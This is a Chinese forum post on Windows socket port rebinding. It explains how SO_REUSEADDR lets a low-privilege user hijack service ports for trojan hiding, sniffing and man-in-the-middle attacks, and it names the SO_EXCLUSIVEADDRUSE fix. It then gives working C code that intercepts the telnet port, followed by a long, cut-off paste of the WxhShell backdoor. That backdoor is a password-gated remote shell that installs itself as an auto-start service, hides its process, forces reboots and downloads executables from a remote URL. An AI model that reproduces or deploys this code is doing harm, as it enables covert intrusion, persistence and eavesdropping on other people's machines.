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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~ }F{vm  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P6!jRC"52'  
X'%E\/~u  
  saddr.sin_family = AF_INET; M9EfU  
Lk~ho?^`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); OTC!wI g  
pF&(7u  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pcau}5 .  
!g Z67  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 LAVAFlK5  
;w:M`#2  
  这意味着什么?意味着可以进行如下的攻击: Sczc5FG  
UQ'\7OS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ~3WM5 fv  
8dV=[+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /<E5"Mm%  
EPS={w$'s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W.z;B<  
lCAIK  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yMyE s8  
7G.#O}).b  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [`p=(/I&L  
/b]oa !  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vLR~'" `F  
q2. XoCf  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?z}=B  
hZh9uI7.  
  #include ^[]}R:  
  #include #Xhdn\7  
  #include x\F,SEj  
  #include    -`<kCW"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K#*reJ}K  
  int main() bA= |_Wt  
  { >wb 'QzF:  
  WORD wVersionRequested; SGh1 DB  
  DWORD ret; n3}!p'-CC  
  WSADATA wsaData; D _/^+H]1  
  BOOL val; wSb 1"a  
  SOCKADDR_IN saddr; 3= xhoRX  
  SOCKADDR_IN scaddr; #k_HN}B  
  int err; ':gUOra|I  
  SOCKET s; fQ/ 0R  
  SOCKET sc; hQ]H /+\  
  int caddsize; =0^Ruh  
  HANDLE mt; HFwN  
  DWORD tid;   BDVHol*g  
  wVersionRequested = MAKEWORD( 2, 2 ); ]?3un!o3o  
  err = WSAStartup( wVersionRequested, &wsaData ); zXv3:uRp.  
  if ( err != 0 ) { e_s&L,ze  
  printf("error!WSAStartup failed!\n"); AFc$%\s4  
  return -1; 0TN;86Mo  
  } p[<Dk$7K  
  saddr.sin_family = AF_INET; &8%e\W\K:/  
   Y]{ >^`G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Swp;HW7x  
|AcRIq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); fQL"O}Z  
  saddr.sin_port = htons(23); Mr?Xp(.}G  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 43={Xy   
  { T^T[$26  
  printf("error!socket failed!\n"); r) $+   
  return -1; (4'$y`Z  
  } P`#Z9 HM4  
  val = TRUE; M&N B/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <@}I0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f8M$45A'  
  { '|S%a MLZ)  
  printf("error!setsockopt failed!\n"); w=j  
  return -1;  Np'2}6P  
  } Nc+,&R13m  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; o4*+T8[|5  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;3\3q1oX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w;k):; $  
e*@{%S  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) A-,up{g  
  { ##@$|6  
  ret=GetLastError(); (>`5z(X  
  printf("error!bind failed!\n");  `)GrwfC  
  return -1; ~=8uN<  
  } {]E+~%Va  
  listen(s,2); e&>;*$)  
  while(1) )K,F]fc+O  
  { 3pK*~VK  
  caddsize = sizeof(scaddr); L:_bg8eD#  
  //接受连接请求 LbaK={tR  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ogL EtqT  
  if(sc!=INVALID_SOCKET) cU{e`<xjA  
  { PQK(0iCo4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k]5Bykf`Ky  
  if(mt==NULL) SV v;q?jZ  
  { Vs%|pIV  
  printf("Thread Creat Failed!\n"); QmLF[\Oo_  
  break; .A-]_98Z  
  } SfJ./ny  
  } }?z@rt^  
  CloseHandle(mt); 0Z0:,!  
  } n) k1  
  closesocket(s); ({JHZ6uZ  
  WSACleanup(); wY~&Q}U  
  return 0; *uo'VJI7_,  
  }   C8 vOE`U,J  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4'-|UPhx  
  { OE4+GI.r-  
  SOCKET ss = (SOCKET)lpParam; n| b5? 3  
  SOCKET sc; ,y+$cM(  
  unsigned char buf[4096]; :JfE QIN  
  SOCKADDR_IN saddr; GN!qyT  
  long num; F)+{AQL  
  DWORD val; ?t+5s]  
  DWORD ret; %]I ZLJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 X{we/'>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6B@CurgB  
  saddr.sin_family = AF_INET; YO}1(m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PH> b-n  
  saddr.sin_port = htons(23); Zs}5Smjl;%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SB5&A_tr  
  { AX= 1b,s  
  printf("error!socket failed!\n"); 3t<a $i  
  return -1; Y`o+XimX  
  } !-N6l6N  
  val = 100; X66VU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]d a^xWK  
  { x.3J[=z=>  
  ret = GetLastError(); lu#LCG-.  
  return -1; wE@'ap#  
  } )(tM/r4`c&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uu}x@T@  
  { '=1KVE^Fk  
  ret = GetLastError(); (tCUlX2  
  return -1; =QK$0r]c'k  
  } #% of;mJv  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ya;9]k8,  
  { 6I!7c^]t  
  printf("error!socket connect failed!\n"); ^bc;[x&N  
  closesocket(sc); c%[#~;E  
  closesocket(ss); KN?6;G{  
  return -1;  ;zYqsS  
  } LwhyE:1  
  while(1) )13dn]o=2  
  { 81hbk((  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .\8X[%K9nc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 y_HN6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T"&)&"W*U  
  num = recv(ss,buf,4096,0); Pfm_@'8  
  if(num>0) ^Ve<>b  
  send(sc,buf,num,0); esHQoIhd  
  else if(num==0) ?{U m  
  break; 0H0-U'l  
  num = recv(sc,buf,4096,0); Gg~QAsks   
  if(num>0) zfwS  
  send(ss,buf,num,0); &BtK($  
  else if(num==0) N.4q.  
  break; vjQb%/LWl  
  } ?Q-h n:F)  
  closesocket(ss); mk3_  
  closesocket(sc); +<}0|Xl&  
  return 0 ; NM0tp )h  
  } ZxlAk+<]  
*J+_|_0nlW  
fm(e3]  
========================================================== hFk3[zTy  
\=0V uz  
下边附上一个代码,,WXhSHELL <`jLY)sw  
#[e  
========================================================== 2-"0 ^n{  
;U<rc'qE  
#include "stdafx.h" _[Vf547vS  
$8p7D?Y  
#include <stdio.h> rz"txN  
#include <string.h> K]U;?h&CZc  
#include <windows.h> M.nvB)  
#include <winsock2.h> 4n %?YQ[t  
#include <winsvc.h> kKPi:G52F  
#include <urlmon.h> W`"uu.~f  
eL4NB$Fb  
#pragma comment (lib, "Ws2_32.lib") "wlt> SU  
#pragma comment (lib, "urlmon.lib")  f>s?4  
I+!:K|^  
#define MAX_USER   100 // 最大客户端连接数 ?H_ LX;r  
#define BUF_SOCK   200 // sock buffer >yXN,5d[  
#define KEY_BUFF   255 // 输入 buffer 2P]L9'N{Y  
CH fVQ|!\  
#define REBOOT     0   // 重启 `'\t$nU  
#define SHUTDOWN   1   // 关机 `xz<>g9e  
hXb%;GL  
#define DEF_PORT   5000 // 监听端口 Qfky_5R\  
4J?t_)  
#define REG_LEN     16   // 注册表键长度 Y3h/~bM%  
#define SVC_LEN     80   // NT服务名长度 ]c&<zeX,  
#/NS&_Ge0s  
// 从dll定义API ,jC3Fcly  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ATy*^sc&"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <BSc* 9Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1Nu1BLPm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uZZU{U9h  
7},)]da>,'  
// wxhshell配置信息 n39t}`WIl  
struct WSCFG { .TE?KI   
  int ws_port;         // 监听端口 R/^u/~<  
  char ws_passstr[REG_LEN]; // 口令 >XOiu#kC  
  int ws_autoins;       // 安装标记, 1=yes 0=no U|HB=BP  
  char ws_regname[REG_LEN]; // 注册表键名  Y=`  
  char ws_svcname[REG_LEN]; // 服务名 h?-#9<A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (;%|-{7e-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nuoPg3Nl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,+g&o^T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f50L,4,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -!0_:m3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kNT}dv]<  
VyRsPg[(  
}; f30Pi1/h=c  
6YuY|JD  
// default Wxhshell configuration l<Q>N|1#k%  
struct WSCFG wscfg={DEF_PORT, |7B!^ K  
    "xuhuanlingzhe", c*`>9mv  
    1, goJ|oi  
    "Wxhshell", saU]`w_Z*  
    "Wxhshell", OEPa|rb  
            "WxhShell Service", tTN?r 8  
    "Wrsky Windows CmdShell Service", 'TTUN=y  
    "Please Input Your Password: ", kQaSbpNmH  
  1, zZiJ 9 e  
  "http://www.wrsky.com/wxhshell.exe", m=Q[\.Ra  
  "Wxhshell.exe" <*t4D-os  
    }; U!XS;a)  
A:y.s;<L 0  
// 消息定义模块 c}[+h5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5/gDK+%4D(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; dq IlD!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .bVmqR`  
char *msg_ws_ext="\n\rExit."; IScRsxFb  
char *msg_ws_end="\n\rQuit."; w#N?l!5  
char *msg_ws_boot="\n\rReboot..."; -o+74=E8[?  
char *msg_ws_poff="\n\rShutdown..."; =pA IvU  
char *msg_ws_down="\n\rSave to "; F`nb21{0y&  
9s}Kl($  
char *msg_ws_err="\n\rErr!"; uY< H#k  
char *msg_ws_ok="\n\rOK!"; |3+m%;X  
)2DQ>cm  
char ExeFile[MAX_PATH]; XhdSFxW}  
int nUser = 0; \([WH!7  
HANDLE handles[MAX_USER]; Z+pom7A"E  
int OsIsNt; p"*y58  
o$C| J]%  
SERVICE_STATUS       serviceStatus; ?R-9W+U%f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qzFQEepso  
#k<":O  
// 函数声明 _MWM;f`b  
int Install(void); j#0j)k2Q  
int Uninstall(void); O:#+%  
int DownloadFile(char *sURL, SOCKET wsh); y<XlRTy[}  
int Boot(int flag); +%N KQ'49I  
void HideProc(void); =e><z9hY  
int GetOsVer(void); L:M0pk{T  
int Wxhshell(SOCKET wsl);  q{die[J  
void TalkWithClient(void *cs); *2}O-e  
int CmdShell(SOCKET sock); k>E`s<3  
int StartFromService(void); |3K)$.6~  
int StartWxhshell(LPSTR lpCmdLine); .$", *d  
yMLOUUWa8x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >QHo@Zqj(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o5\b'hR*#  
Aa?I8sbc  
// 数据结构和表定义 0Q593F  
SERVICE_TABLE_ENTRY DispatchTable[] = DWt*jX*  
{ 7&O`p(j  
{wscfg.ws_svcname, NTServiceMain}, )4xu^=N&as  
{NULL, NULL} WxbsD S;  
}; 6|J'>)  
a;$P:C{gj?  
// 自我安装 I8H%=Kb?9  
int Install(void) IMQ]1uq0$  
{ dSIH9D  
  char svExeFile[MAX_PATH]; U-0#0}_  
  HKEY key; HNa]H;-+5  
  strcpy(svExeFile,ExeFile); NYABmI/0c  
ig0u^BC  
// 如果是win9x系统,修改注册表设为自启动 Q36)7=at  
if(!OsIsNt) { iA!7E;o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :L0/V~D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lc<eRVNd,  
  RegCloseKey(key); %lr|xX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'f/Lv@]a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +VEU:1Gt  
  RegCloseKey(key); )[&_scSa  
  return 0; @\(vX]  
    } +TeFt5[)h  
  } Fk^3a'/4KJ  
} Y{f7 f'_  
else { 92dF`sv  
3Dm8[o$Z  
// 如果是NT以上系统,安装为系统服务 ID1?PM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vMSW$Bx ;  
if (schSCManager!=0) K:yr-#(P/  
{ pz_e=xr  
  SC_HANDLE schService = CreateService LT+3q%W.UC  
  ( dMl+ko  
  schSCManager, YEYY}/YX  
  wscfg.ws_svcname, Qq0l* )mX  
  wscfg.ws_svcdisp, oJ*1>7[J  
  SERVICE_ALL_ACCESS, 0MIUI<;j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |'HLz=5\  
  SERVICE_AUTO_START, 7Tf]:4Y"  
  SERVICE_ERROR_NORMAL, q}L+/+b  
  svExeFile, m:`@?n~..  
  NULL, Gie@JX  
  NULL, <64HveJ  
  NULL, tPuut\ee  
  NULL, % U`xu.  
  NULL ~3WL)%  
  ); Q |i9aE  
  if (schService!=0) [A~G-  
  { OQlG+|  
  CloseServiceHandle(schService); m4ApHM2  
  CloseServiceHandle(schSCManager); NB8&   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ul5|.C  
  strcat(svExeFile,wscfg.ws_svcname); !)NidG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5b #QYu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); us)*2`?6t  
  RegCloseKey(key); ,[48Mspp  
  return 0; /jD-\,:L}  
    } i4Z4xTn  
  } Mxz,wfaH>  
  CloseServiceHandle(schSCManager); Lx|',6S  
} Kf7WcJ4b  
} ;~zNqdlH  
sDiHXDI_m  
return 1; s<T?pH  
}  ((DzUyK  
NVIWWX9?  
// 自我卸载 c^I0y!  
int Uninstall(void) e`U Qz$4!  
{ Ef7:y|?  
  HKEY key; `U`#I,Ln[  
#I\Y= XCY  
if(!OsIsNt) { Mpx/S<Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z YDK $  
  RegDeleteValue(key,wscfg.ws_regname); |ek ak{js  
  RegCloseKey(key); k1N$+h ;\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { : iY$82wQ  
  RegDeleteValue(key,wscfg.ws_regname); gb-{2p>}  
  RegCloseKey(key); AO 0!liQ  
  return 0; -rY 7)=  
  } Ya4?{2h@+  
} M^SuV  
} mv Ov<x;l  
else { ~I_owCVZ  
EZr6oO@Nc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9q4_j  
if (schSCManager!=0) E)YVfM  
{ X:q_c=X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o<VP'F{p  
  if (schService!=0) cqL(^R.  
  { E'dX)J9e$/  
  if(DeleteService(schService)!=0) { 6* rcR]  
  CloseServiceHandle(schService); `ti8-  
  CloseServiceHandle(schSCManager); delf ]  
  return 0; L`K;IV%;  
  } VQ |^   
  CloseServiceHandle(schService); p!"(s/=  
  } Q</h-skLZ  
  CloseServiceHandle(schSCManager); E8[XG2ye  
} +g\;bLT  
} juno.$ 6  
3o8\/-*<  
return 1; Y)p4]>lT+8  
} `^8*<+  
|XcH]7Ai"  
// 从指定url下载文件 -z C]^Ho@  
int DownloadFile(char *sURL, SOCKET wsh) hLuJWjCV  
{ yFeeG3 n3  
  HRESULT hr; eK_*q -  
char seps[]= "/"; ;) pl{_  
char *token; !EFBI+?&  
char *file; y lL8+7W  
char myURL[MAX_PATH]; <f%/px%1  
char myFILE[MAX_PATH]; 9Q[>.):  
k ojG- M  
strcpy(myURL,sURL); W);W.:F  
  token=strtok(myURL,seps); xh'^c^1  
  while(token!=NULL) eqFvrESN~=  
  { ePA;:8)_j  
    file=token; G(OFr2M  
  token=strtok(NULL,seps); 6Y?`=kAp  
  } 9O >z4o  
%x2b0L\g  
GetCurrentDirectory(MAX_PATH,myFILE); )/%S=c  
strcat(myFILE, "\\"); :('I)C  
strcat(myFILE, file); GXeAe}T  
  send(wsh,myFILE,strlen(myFILE),0); xXOw:A'  
send(wsh,"...",3,0); j+>Q#&h9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .uDM_ 34  
  if(hr==S_OK) &va*IR  
return 0; zh?4K*>.k  
else /2w@ K_Px6  
return 1; qX@9N=g`#O  
8ui=2k(  
} NV~vuC  
Zz")`hUG  
// 系统电源模块 tp+=0k2i  
int Boot(int flag) <IH*\q:7  
{ oFyeH )!  
  HANDLE hToken; 3H'*?|Y(#  
  TOKEN_PRIVILEGES tkp; >EBC 2WJ  
K -E`y  
  if(OsIsNt) { DB8s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ADBpX>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 41 'EA \V  
    tkp.PrivilegeCount = 1; ,9vJtP+T+!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kH2oK:lN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m<FK;   
if(flag==REBOOT) { [d:@1yc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o*;2mFP  
  return 0; nP u`;no  
} +2yF|/WW#  
else { "WP% REE!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QK7e|M  
  return 0; \_>?V5(  
} 7vNtv9  
  } UT;4U;a,m  
  else { ~,Mr0  
if(flag==REBOOT) { xppkLoPK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %yhI;M^  
  return 0; >;}]pI0T  
} |D(&w+(  
else { *[ #*n n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^Y<M~K972  
  return 0; Q 3X  
} SJ[AiHR  
} j!CU  
T0?uC/7H  
return 1; nrbazyKm  
} 2:~cJk{  
FK3Whe{KP{  
// win9x进程隐藏模块 \bRy(Z)  
void HideProc(void) $owb3g(%4  
{ %09*l%,;  
)-)pYRlO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,5:![  
  if ( hKernel != NULL ) H9:%6sds  
  { 8>d q=0:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `$f2eB&   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ##2`5i-x  
    FreeLibrary(hKernel); "B?R| Xg  
  } ~zj"OG"zOw  
S|) J{~QH  
return; jQs*(=ls  
} 1W0.Ufl)  
w Oj88J)  
// 获取操作系统版本 >\&= [C  
int GetOsVer(void) NkoofhZ  
{ Z !Z,M' "  
  OSVERSIONINFO winfo; F`3^wHw^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QSv^l-<  
  GetVersionEx(&winfo); lT3|D?sF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5Abz 5-^KH  
  return 1; bkkSIl+Q  
  else *bU% @O  
  return 0; p4y6R4kyT  
} ]p\u$VY9  
-B,cB  
// 客户端句柄模块 ZGzc"r(r:#  
int Wxhshell(SOCKET wsl) A$N+9n\  
{ oL)lyUVT  
  SOCKET wsh; &p )@8HY  
  struct sockaddr_in client; 1oB$u!6P  
  DWORD myID; qz87iJp&  
+`9yZOaC#  
  while(nUser<MAX_USER) 9D%qXU  
{ q$|0)}  
  int nSize=sizeof(client); L1rA T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7\f{'KL  
  if(wsh==INVALID_SOCKET) return 1; gINwvzW{  
%B0w~[!4}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |FjBKj  
if(handles[nUser]==0) s9G)Bd 8  
  closesocket(wsh); oFb\T iLu  
else &b!vWX1N  
  nUser++; / Z1Wy-Z  
  } '%);%y@v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dA|Lufy#  
xSdN5RN  
  return 0; K_Z+]]$#  
} Z~:/#?/  
@|E;}:?u  
// 关闭 socket Lp!0H `L  
void CloseIt(SOCKET wsh) |$Qp0vOA}  
{ Kyu@>9Ok  
closesocket(wsh); gj[z ka0_  
nUser--; /G{&[X<4U  
ExitThread(0); 8NxUx+]  
} 4bPqmEE  
Kq8 (d`g}  
// 客户端请求句柄 sC!1B6:  
void TalkWithClient(void *cs) >,kL p|gA  
{ bG "6pU  
dZ.}j&ZH'  
  SOCKET wsh=(SOCKET)cs; Ko4)0&  
  char pwd[SVC_LEN]; {qY3L8b  
  char cmd[KEY_BUFF]; ?<Z)*CF)  
char chr[1]; A\Lr<{Jh  
int i,j; H]VsOr  
f 5mY;z"  
  while (nUser < MAX_USER) { -e &$,R>;  
@;g`+:=  
if(wscfg.ws_passstr) { SgyqmYTvZw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 23)F-.C}j  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E1^aAlVSD  
  //ZeroMemory(pwd,KEY_BUFF); (_s;aK  
      i=0; B,r5kQI4  
  while(i<SVC_LEN) { V[4(~,9  
KSF5)CZ5  
  // 设置超时 G% o7BX  
  fd_set FdRead; 5z9JhU  
  struct timeval TimeOut; 5<!o{)I  
  FD_ZERO(&FdRead); t) ;   
  FD_SET(wsh,&FdRead); |GJBwrL^0  
  TimeOut.tv_sec=8; 7z Ohyl?  
  TimeOut.tv_usec=0; h_AJI\{"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,\BfmC_i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2;dM:FHLhO  
7qW.h>%WE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u![4=w  
  pwd=chr[0]; FP.(E9  
  if(chr[0]==0xd || chr[0]==0xa) { ])+Sc"g4k  
  pwd=0; H<v c\r  
  break; |*lH9lWJ  
  } A$%@fO.b  
  i++; ] ,!\IqO  
    } JJ^iy*v  
A"Tc^Ij  
  // 如果是非法用户,关闭 socket (r.$%[,.<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V#p G; ,  
} 9"m, p  
qJ#L)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xAR^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m]bL)]Z  
eUX@9eML  
while(1) { C}x4#bNK  
.a ~s_E  
  ZeroMemory(cmd,KEY_BUFF); 2q2p=H>&  
ju8',ZC  
      // 自动支持客户端 telnet标准   #k"1wSx16  
  j=0; tpN]evp|  
  while(j<KEY_BUFF) { B)( p9]q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nwZ[Ygl|  
  cmd[j]=chr[0]; P}ehNt*($  
  if(chr[0]==0xa || chr[0]==0xd) { R1]v}f_I"  
  cmd[j]=0; 3N(8| wh  
  break; 0SAG6k~x  
  } z4 4  
  j++; h<PYE]?l  
    } *O2^{ C  
Se!gs>  
  // 下载文件 (1QdZD|  
  if(strstr(cmd,"http://")) { [d!Af4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *O"%tp6  
  if(DownloadFile(cmd,wsh)) !X \Sp}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c@0l-R{q  
  else ek Y?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q$e T!'x  
  } zv$=*  
  else { dbf^A1HI  
k+W  
    switch(cmd[0]) { !Ei Ze.K  
  AlPL;^Y_l  
  // 帮助 O^QR;<t'  
  case '?': { P^'>dOI0w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9+WY@du+  
    break; *Y| lO  
  } eukX#0/^  
  // 安装 z6GL,wo#  
  case 'i': { cP}5}+  
    if(Install()) C=xo&I7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A"P\4  
    else VZ9e~){xA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (E2lv#[  
    break; }w|=c >'_}  
    } AxG?zBTFx  
  // 卸载 =RCfibT!C  
  case 'r': { <MI$N l  
    if(Uninstall()) @LwVmR |{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @j)f(Zlu#  
    else ~FK+bF?%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rRF+\cP?.  
    break; $g}/T_26  
    } LbtlcpF*~5  
  // 显示 wxhshell 所在路径 1Ud t9$~T  
  case 'p': { YyX^lL_  
    char svExeFile[MAX_PATH]; f_z2#,g  
    strcpy(svExeFile,"\n\r"); [A.eVuV;+  
      strcat(svExeFile,ExeFile); Rx_,J%0Fq  
        send(wsh,svExeFile,strlen(svExeFile),0); QjW~6Z.tI  
    break; *YiD B?Si  
    } H4K(SGx  
  // 重启 m\R@.jkZ  
  case 'b': { (o6A?37i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _BeX7  
    if(Boot(REBOOT)) gn;nS{A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UC?2mdLt^  
    else { @n ~ND).  
    closesocket(wsh); RN cI]oJ  
    ExitThread(0); <E(-QJ  
    } o$qFa9|Ec?  
    break; 9I^H)~S  
    } S%a}ip&  
  // 关机 L@^ !(  
  case 'd': { ]9~#;M%1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <+mO$0h"r  
    if(Boot(SHUTDOWN)) gvwCoCbb  
